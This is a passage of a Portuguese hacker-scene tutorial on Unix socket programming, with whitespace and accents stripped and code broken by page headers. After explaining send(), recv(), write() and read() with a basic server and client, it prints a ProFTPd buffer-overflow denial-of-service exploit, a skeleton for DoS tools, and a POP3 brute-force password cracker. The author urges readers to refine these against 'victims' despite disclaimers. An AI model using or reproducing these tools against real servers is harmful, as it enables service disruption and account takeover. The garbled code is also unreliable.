umsocket.Autilidadedissotudojbemevidentequandosemanipulam
aplicaesqueenvolvemsockets.veremoscomosedeclarasend()primeiro:
/*Headers*/
#include<sys/types.h>
#include<sys/socket.h>
intsend(intMeusocket,constvoid*msg,size_tlen,intflags);
onde:
+Meusocket>obomevelhoarquivosocket,nossovelhoconhecido.
+*msg>umponteiroparaamensagemquequeremosenviar.
+len>otamanhodamensagem.Seamensagemmuitograndepara
passaratmicamentesobreoprotocoloescolhido,amensagem
deerroEMSGSIZEretornada,eamensagemnotransmitida.
+flags>Soparmetrosadicionais,podemser:

#defineMSG_OOB0x1/*processadadosoutofband*/

#defineMSG_DONTROUTE0x4/*debuga*/

OflagMSG_OOBusadoparaenviardadosoutofbandemsockets

quesuportamisso(Ex.SOCKSTREAM);oprotocoloescolhidodeve

tambmsuportardadosoutofband.

OflagMSG_DONTROUTEusadogeralmentesparadiagnosticar

programas.
Umaboaolhadanasmanpagesdecadafunoajudabastante,casohaja
dvidasnisso.
Vimosadeclaraodafunosend(),veremosagoraafunorecv(),ela
similaremmuitosaspectosafunosend().Veremos:
/*Headers*/
#include<sys/types.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

15/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

#include<sys/socket.h>
intrecv(intMeusocket,void*buf,intlen,unsignedintflags);
onde:
+Meusocket>osocketparalerdeoutro,nocaso,umsocketlocal.
+buf>Aquioendereodareadobuffer.
+len>otamanhodobuffer.
+flags>soformadosporMSG_OOBeMSG_PEEKpermitindoreceberdados
outofbandepermitindoespiardadosqueentram,

consequentemente.Estachamadadeveserusadasomentecom

socketsdotipoSOCK_STREAM.
Abaixoseguemmaisdoisexemplos,estesenvolvendotudoquefoiabordado
atagora.Oprimeiroexemploumsimplessocketservidor.
ServidorSimples
/*Velhosheadersdesempre*/
#include<stdio.h>
#include<stdlib.h>
#include<errno.h>
#include<string.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<sys/socket.h>
#include<sys/wait.h>
#defineMINHAPORTA20000/*Portaqueosusuariosiroseconectar*/
#defineBACKLOG10/*Quantasconexespendentesseroindexadas*/
main()
{

intMeusocket,Novosocket;/*escutaemMeusocket,novaconexo
emNovosocket*/
structsockaddr_inmeu_endereco;/*informaodomeuendereco*/
structsockaddr_inendereco_dele;/*informaodoenderecodoconector*/
inttamanho;

if((Meusocket=socket(AF_INET,SOCK_STREAM,0))==1)
{

perror("socket");

exit(1);
}

meu_endereco.sin_family=AF_INET;
meu_endereco.sin_port=htons(MINHAPORTA);
meu_endereco.sin_addr.s_addr=INADDR_ANY;/*colocaIPautomaticamente*/
bzero(&(meu_endereco.sin_zero),8);/*Zeraorestodaestrutura*/

1)

if(bind(Meusocket,(structsockaddr*)&meu_endereco,sizeof(structsockaddr))==
{

perror("bind");

exit(1);
}
if(listen(Meusocket,BACKLOG)<0)
{

perror("listen");

exit(1);
}

http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

16/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

while(1){

tamanho=sizeof(structsockaddr_in);

if((Novosocket=accept(Meusocket,(structsockaddr
*)&endereco_dele,&tamanho))<0){

perror("accept");

continue;

printf("Servidor:chegandoconexode
%s\n",inet_ntoa(endereco_dele.sin_addr));

if(!fork()){

if(send(Novosocket,"Sejabemvindo!\n",16,0)==1)

perror("send");

close(Novosocket);

exit(0);

close(Novosocket);

while(waitpid(1,NULL,WNOHANG)>0);/*Limpaoprocessocrianca.fork()*/

}
}
Servidorsimples
Aestumexemplodeumsimplesservidor,oqueelefazquandoalgum
seconectaraele,eleenviarumamensagempelafunosend(),nocaso
"Sejabemvindo!".Abaixosegueumesquemaqueumclientesimplesparaesse
servidor.
ClienteSimples
/*Headers*/
#include<stdio.h>
#include<stdlib.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<sys/socket.h>
#definePORTA20000/*Portaparaconectar*/
#defineMAXDATASIZE100/*mximonmerodebytesquepoderemosenviar
porvez*/
intmain(intargc,char*argv[])
{

intMeusocket,numbytes;

charbuf[MAXDATASIZE];

structhostent*he;

structsockaddr_inseu_endereco;

if(argc!=2){

fprintf(stderr,"Uso:clientehostname\n");

exit(1);
}

if((he=gethostbyname(argv[1]))==NULL)/*enviahostinfo*/
{

herror("gethostbyname");

exit(1);
}
if((Meusocket=socket(AF_INET,SOCK_STREAM,0))==1)
{

http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

17/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

seu_endereco.sin_family=AF_INET;
seu_endereco.sin_port=htons(PORTA);
seu_endereco.sin_addr=*((structin_addr*)he>h_addr);
bzero(&(seu_endereco.sin_zero),8);

==1)

if(connect(Meusocket,(structsockaddr*)&seu_endereco,sizeof(structsockaddr))

if((numbytes=recv(Meusocket,buf,MAXDATASIZE,0))==1)
{

perror("recv");

exit(1);
}
buf[numbytes]='\0';
printf("Recebido:%s",buf);
close(Meusocket);
return0;

perror("socket");
exit(1);

perror("connect");
exit(1);

Aestoosexemplos,executeoservidorprimeiro,depoisocliente.Isso
sparademonstrardemodofcilcomosepodemanipularasfunes
send()erecv().Veremosagoraumexemplomaisabrangentedessasduas
funes,algomaisprticoparanossosintuitos.
DenialofserviceparaProftpd
/*
*CrashesProFTPd1.2.0pre4becauseofabufferoverflow.
*ThisbugwasdiscoveredbytheNessusSecurityScanner
*Idon'tknowifthisflawcanbeexploitedtogain
*rootprivileges.
*Thenameofthecreateddirectorymustnotexceed255chars!
*WrittenbyRenaudDeraison<deraison@cvs.nessus.org>
*
*(Esseexploitserveparacrashearumservidordeftp,ProFTPd)
*Eualtereiofonteparaosnossospropsitos,simplificandoascoisas
*aomximo,masnomomentobastaseateramanipulaoqueeledeu
*asfunessend()erecv().(NashLeon)
*/
/*Headersnecessrios*/
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/types.h>
#include<netinet/in.h>
#defineVITIMA"127.0.0.1"
#defineDIR_ESCRITA"/incoming"
intmain()
{

structin_addrvitima;
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

18/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

intMeusocket;
structsockaddr_insa;

char*dir_escrita="CWD"DIR_ESCRITA"\r\n";
char*mkd;
char*cwd;

/*Aquisepegaadefinioacimadohostqueservitimado*/
inet_aton(VITIMA,&vitima);
mkd=malloc(300);bzero(mkd,300);
cwd=malloc(300);bzero(cwd,300);

Meusocket=socket(PF_INET,SOCK_STREAM,0);

bzero(&sa,sizeof(sa));
sa.sin_family=AF_INET;
sa.sin_port=htons(21);
sa.sin_addr.s_addr=vitima.s_addr;

sprintf(cwd,"CWD");
memset(cwd+4,'X',254);
sprintf(cwd,"%s\r\n",cwd);

/*Vemosaquiusopraticoderecv()esend()*/
recv(Meusocket,buf,1024,0);
send(Meusocket,"USERftp\r\n",strlen("USERftp\r\n"),0);
recv(Meusocket,buf,1024,0);
bzero(buf,1024);
send(Meusocket,"PASSjoe@\r\n",strlen("PASSjoe@\r\n"),0);
recv(Meusocket,buf,1024,0);
bzero(buf,1024);
send(Meusocket,dir_escrita,strlen(dir_escrita),0);
recv(Meusocket,buf,1024,0);
bzero(buf,1024);

if(!(connect(Meusocket,(structsockaddr*)&sa,sizeof(structsockaddr_in))))
{

char*buf=malloc(1024);

inti;

sprintf(mkd,"MKD");

memset(mkd+4,'X',254);

sprintf(mkd,"%s\r\n",mkd);

for(i=0;i<40;i++)

send(Meusocket,mkd,strlen(mkd),0);

recv(Meusocket,buf,1024,0);

if(!strlen(buf))

printf("FTPdRemotocrasheado(veja/var/log/messages)\n");

exit(0);

bzero(buf,1024);

printf("Servidornovulneravel\n");

close(Meusocket);

elseperror("connect");

return(0);
}
FIMDOEXEMPLO
Bemaestumexemplobemsimplesdeenvioerecebimentodedados
usandoasfunessend()erecv()paraderrubarumservico.Essatcnicade
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

19/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

DenialofServicepodesertilparamuitasfinalidades,masnodeveser
usadacomodiversoousimplesvandalismo,lembrando,nonosresponsabilizamos
pelomauusodasferramentasdescritasnessetxt.Comessasfunes
vocjestaptoaescreversocketsparaenviaraquelesfamosos"remote
rootbufferoverflow"!!:)
Asfunessendto()erecvfrom()usadasemsockets
SOCK_DGRAM,serovistasmuitoembreve,masantesveremosasfunes
write()eread()quesoparecidascomsend()erecv().

***ASFUNESwrite()eread()|

Essasfunespossuemamesmafinalidadedasfunessend()erecv().
write()serveparaescrevernumsocket,enquantoread()paralerdeumsocket.
Afunoread()equivalenteafunorecv()comumparmetroflagde0.
Damesmaforma,write()equivalenteasend()comflagsiguala0.Essas
funesdevemserusadassomenteemsistemasunix,lembrese,essetutorial
foiescritoparausuarioslinux,linuxslackware,notredsux!
Veremosadeclaraodelas:
/*Headernecessario*/
#include<unistd.h>
ssize_tread(intMeusocket,void*buf,size_tcount);
onde:
+Meusocket>Nossobomevelhoarquivosocket.
+*buf>Bufferdeondeserolidasasmensagens.
+count>Tamanhoembytesdamensagemaserlida.Secountiguala
zero,read()retornazeroenopossuioutroresultado.Se
countmaiorquesszize_max(declaradoanteriormente),o
resultadonoespecificado.
paraafunowrite()amesmacoisa:
#include<unistd.h>
ssize_twrite(intMeusocket,void*buf,size_tcount);
ondeosparmetrosequivalemaosmesmosparmetrosdesend().
Veremosumsimplesesquemaparaessasfunes,comecandocomumprograma
queenviadados(umasequnciadecaracterA),atravsdafunowrite():

/*PROGRAMAEXEMPLODEENVIODEDADOSUSANDOAfunoWRITE()
ESSEPROGRAMAFOIDESENVOLVIDOPORNASHLEONP/TXTSOBRESOCKETS.
TRANKSRAMONAEUNSEKURITYTEAM.
http://unsekurity.virtualave.net/
Esseprogramapoderservircomocarcaa(esqueleto)parapossveis
futurosprogramasgeradoresdeDenialOfService.
*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/types.h>
#include<unistd.h>
#include<netdb.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

20/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

#include<netinet/in.h>
/*OcorrespondenteemhexadocaracterA*/
#defineA0x41
main(intargc,char*argv[])
{

intMeusocket,porta,i;

structsockaddr_invitima;

structhostent*he;

char*buf[2000];

if(argc==1)
{

printf("Programaexemplodeusodewrite()eread()\n");

printf("PoderservircomoesqueletoparaumDoS!!\n");

printf("Uso:%shostporta\n",argv[0]);

exit(0);
}

porta=atoi(argv[2]);

Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket<0)
{

perror("Socket");

exit(1);
}

he=gethostbyname(argv[1]);
if(he==NULL)
{

herror("Erro!Hostdesconhecidomano!\n");

exit(1);
}
vitima.sin_family=he>h_addrtype;
vitima.sin_port=htons(porta);
vitima.sin_addr=*((structin_addr*)he>h_addr);
bzero(&(vitima.sin_zero),8);

if(connect(Meusocket,(structsockaddr*)&vitima,sizeof(vitima))<0)
{

fprintf(stderr,"Erroemconnect()!!\n");

exit(1);
}
/*Zeramosobufferresponsvelporconterdadosdeenvio*/

bzero(buf,sizeof(buf));

/*Aquinsenchemosobufferdeenviocomocaracterdesejado*/

for(i=0;i<1024;i++)
{

buf[i]=(char*)A;
}
buf[10241]='\0';

/*Finalmentenossafunowrite(),queenviaroconteudodebuffer*/
printf("Enviandodados!!\n");

if(write(Meusocket,buf,strlen(buf))<0)
{

printf("Erroemwrite()\n");

close(Meusocket);

http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

21/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

exit(1);

printf("Dadosenviadoscomsucesso!\n");

close(Meusocket);

return0;
}

Esseprogramaacimaservesomenteparaenviardadosparaumdeterminado
hosteumadeterminadaporta,vocpoderiamuitobemdeclararumservio
exemplo,ftp,ondesepoderiatentarumDoSusandoumsimplesesquemacomo:

sprintf(buffer,"USER%s",buf);
write(Meusocket,buffer,strlen(buffer));

Lgico,oprogramadeveriaprimeiroestarvulnervelaesseoverflow,mas
porincrvelquepareca,nosaopoucososprogramasqueaindahojeso
vulnerveisaisso.Masquantoaoverflows.Jtemosumbomtextosobreisso
queserpublicadomuitoembreve.
Paraafunoread(),eufizumexemplomaisprtico,masumpoucogrande,
deformaquetenteideixaromaisclaropossvelamanipulaodessasduas
funes.Oprogramaquesegueabaixoumbrutalforcequetrabalhaemcima
deumlogindado,elebsico,fazcoisasbsicas,masvocpoderfazer
comqueelesejaotimizado,pense!Efaa!!Brutalforceumatcnica,
emboramuitosnoconsideramtcnicaporcausadonome..:)..masescrever
umbrutalpodesermuitotil..aindahojeemdianapocadefirewalls,isso
aindavlido..Vejacomoofuncionamentodoprograma,lembrese:
SABENDOFAZERUMOQUETEIMPEDEDEFAZERTODOS?

***TERCEIROEXEMPLOPRTICO|

/*ProgramadesenvolvidoporNashLeonparatentarumbrutalforce
emservidorespop,utilizandopermutaesecombinaesnum
login.Noutilizaarquivospasswd,comoamaioriadosbrutaispora.
Brevedisponibilizareiumaversomaiscomplexaeatualdesseprograma.
OBS:Naomeresponsabilizopelomauusodesteprograma,elefoi
construidosomentecompropsitoseducacionais!!
nashleon@yoo.com.br
ThanksRamonaeunsekurityteam.
http://unsekurity.virtualave.net
*/
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<unistd.h>
#include<netinet/in.h>
#include<netdb.h>
#definePORTA110
intatacar(char*vitima,intporta,char*login,char*senha);
voidUn(char*nome1,char*host);
voidUns(char*nome1,char*nome2,char*host);
voidUnse(char*nome1,char*host);
voidmodo_errado();
main(intargc,char*argv[])
{

charsenhar[30];
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

22/27

08/10/2015

9)\n");

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

if(argc<4)
{

system("clear");

fprintf(stderr,"\n\t\t\tNASHLEONBRUTALFORCEv0.1\n\n\n");

fprintf(stderr,"DesenvolvidoporNashLeoneunsekurityteam!\n");

fprintf(stderr,"http://unsekurity.virtualave.net\n");

fprintf(stderr,"Uso:%s<vitima><login><modo>\n\n",argv[0]);

fprintf(stderr,"Ondemodopodeser:\n");

fprintf(stderr,"un>somentepasswdigualalogin\n");

fprintf(stderr,"uns>passwdigualaloginaocontrario\n");

fprintf(stderr,"unse>passwdigualalogin+umnmeronofinal(0a

fprintf(stderr,"unsek>Todososmodosacima.\n");
exit(0);

if(argv[3])

if(!strcmp(argv[3],"un"))

system("clear");

printf("**********************NASHLEONBRUTALFORCEv0.1
**********************\n");

printf("Executandomodo\"un\">Somentesenhasiguaisaos
logins!!\n");

printf("Boasortemano!!\n");

Un(argv[2],argv[1]);

return0;

if(!strcmp(argv[3],"uns"))

system("clear");

printf("***********************NASHLEONBRUTALFORCEv0.1
***********************\n");

printf("Executandoemmodo\"unsek\">Senhaiguaisaologinao
contrario!!\n");

strcpy(senhar,argv[2]);

Uns(argv[2],senhar,argv[1]);

return0;

if(!strcmp(argv[3],"unse")){

system("clear");

printf("**********************NASHLEONBRUTALFORCEv0.1
**********************\n");

printf("Executandoemmodo\"unse\">Senhasigualaologin+
nmero(0a9)\n");

printf("BoaSorteMano!!\n");

Unse(argv[2],argv[1]);

return0;

if(!strcmp(argv[3],"unsek")){

system("clear");

printf("*********************NASHLEONBRUTALFORCEv0.1
*********************\n");

printf("Executandoemtodososmodospossiveisdestaversao!!\n");

printf("Boasortemano!!\n");

Un(argv[2],argv[1]);

Uns(argv[3],senhar,argv[1]);

Unse(argv[2],argv[1]);

return0;

}
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

23/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

modo_errado();

voidmodo_errado()
{

printf("Modoerrado\n");

exit(1);
}
voidUn(char*nome1,char*host)
{

charsenha[30];

intporta=PORTA;

strcpy(senha,nome1);

atacar(host,porta,nome1,senha);
}
atacar(char*vitima,intporta,char*login,char*senha)
{

chartempl[512],temps[512],envia[1024],recebe[1024],saida[1024];

intMeusocket,len;

structhostent*he;

structsockaddr_inlascado;

he=gethostbyname(vitima);
if(he<0)
{

printf("HostDesconhecidomano!!\n");

exit(1);
}
Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket<0)
{

fprintf(stderr,"Erronosocketmano!!\n");

exit(1);
}
lascado.sin_family=he>h_addrtype;
lascado.sin_port=htons(porta);
lascado.sin_addr=*((structin_addr*)he>h_addr);
bzero(&(lascado.sin_zero),8);

if(connect(Meusocket,(structsockaddr*)&lascado,sizeof(lascado))<0)
{

printf("Erroemconnect()mano!!\n");

close(Meusocket);

exit(0);
}
bzero(recebe,sizeof(recebe));
len=read(Meusocket,recebe,strlen(recebe));
sprintf(templ,"USER%s\n",login);

if(write(Meusocket,templ,strlen(templ))<strlen(templ))

fprintf(stderr,"Falhaemwrite()!!\n");

return1;

bzero((char*)&recebe,sizeof(recebe));

if(read(Meusocket,recebe,sizeof(recebe))<0)

perror("read()");

return1;

recebe[(strlen(recebe)2)]='\0';

/*Aquichecaseexistelogin*/

http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

24/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

if(strstr(recebe,"+OK")==NULL)
{

return1;
}
bzero((char*)&envia,sizeof(envia));
read(Meusocket,envia,1024);
bzero((char*)&temps,sizeof(temps));
sprintf(temps,"PASS%s\n",senha);

if(write(Meusocket,temps,strlen(temps))<strlen(temps))
{

perror("write()");

return1;
}

if(read(Meusocket,envia,sizeof(envia))<0)

perror("read()");

return1;

envia[(strlen(envia)2)]='\0';

/*Aquidizsesenhacorreta*/

if(strstr(envia,"+OK")!=NULL)
{

printf("Passwordvalidomano!!\n");

printf("login\"%s\"possuisenha\"%s\".\n",login,senha);

bzero((char*)&saida,sizeof(saida));

sprintf(saida,"%s","QUIT");

write(Meusocket,saida,strlen(saida));

bzero((char*)&saida,sizeof(saida));

bzero((char*)&saida,sizeof(saida));

return0;
}
bzero((char*)&envia,sizeof(envia));
bzero((char*)&recebe,sizeof(recebe));
bzero((char*)&saida,sizeof(saida));
sprintf(saida,"%s","QUIT");
write(Meusocket,saida,strlen(saida));
bzero((char*)&saida,sizeof(saida));
return0;

voidUns(char*nome1,char*nome2,char*host)
{

inttamanho,i;

intporta=PORTA;

tamanho=strlen(nome1);

for(i=0;i<tamanho;i++)

nome2[i]=(&nome1[tamanhoi])[1];

nome2[tamanho]='\0';

atacar(host,porta,nome1,nome2);
}
voidUnse(char*nome1,char*host)
{

charsenhas[30];

inti;

for(i=0;i<10;++i)

{
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

25/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

sprintf(senhas,"%s%d",nome1,i);
}
atacar(host,PORTA,nome1,senhas);

Bem.aestamigos,umbrutalforce.Nousodafunoread(),eu
coloqueiumespaoparaoterminadornulocomoem:

envia[(strlen(envia)2)]='\0';

Geralmenteissosefaznecessrio.Comessebrutalforce,possivel,
compacincia,logico!Vocconseguircapturaralgumassenhas,bemcomo
shells...gostariadelembrar,noentanto,queessenoumbommtodo,
poisdeixamuitorastro,bemcomoexistemsistemasquenopermitem
conexodeforanaporta110.Maspegueosconceitos,comumpoucode
dedicao,vocpodermelhoraresseprograma,oumesmofazerumbem
melhorquetentaemoutrasportas,ex.porta80,sepossvelnavtima,
seriaumaboa.Fechoaquioltimoexemplodessetutorial,esperoque
elestenhamsidoteisousejamteisparavoc,lembrandoamigo,sevoc
achouissotudodifcil,nodesanime,procureoutrostextossobresockets,
existemmuitosemelhoresdoqueeste,sevocachoufcil,esperoqueos
conceitosdastcnicassirvamparavoc,bemcomodigoqueembreve,
escrevereialgomaiscomplexoparanutrirseusconhecimentos.

***CONSIDERAESFINAIS|

Terminamosessafaseinicialdeescritadesockets,jtemosmateriais
quaseprontossobreusodemaisfunescomoselect(),bemcomomaterial
sobreUDPsocks,masnopublicaremosaindaporquestodeprioridade,
comoescrevemosparaNewbies,publicaremosprimeirooutrosmateriais,mas
embreve,muitobrevemesmo,estardisponvelaquicoisasmais
interessantesaindasobresocketsemunixetalvezwinsocks.
Esperomesmoquetudoqueescreviacimatenhaalgumvalortilparaalgum,
lembrandosempre,queauniofazafora,semaispessoasseengajarem
emescreverepublicartcnicaseconceitosdefuadores,semdvidao
cenariotendeacrescer.Obrigadoaquelesquemeincentivaramnaescrita
desteedosoutrostextos,bemcomoosqueseoporam,vocssoaminha
maiorinspirao!!:)..Umadascoisasquemefezentrarnessavidade
fuador,foiumdilemadatica:"LIBERDADEDEINFORMAO!",guardandoou
retendooqueeuaprendi,estareifugindoaodilemaquemeatraiu,e
consequentementefazendomorreroespiritohackerquehdentrodemim.
Umabraocordialatodos!
NashLeonvulgocoraodeleao.

***ALGUNSLINKSSOBREPROGRAMACAODESOCKETS|

http://www.lowtek.com/sockets/
http://www.ecst.csuchico.edu/~beej/guide/ne
http://www.auroraonline.com/sockfaq
http://kipper.york.ac.uk/~vic/sockfaq
http://packetstorm.securify.com/programmingtutorials/Sockets/

FIMDOARQUIVO
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

26/27

08/10/2015

http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

27/27

You might also like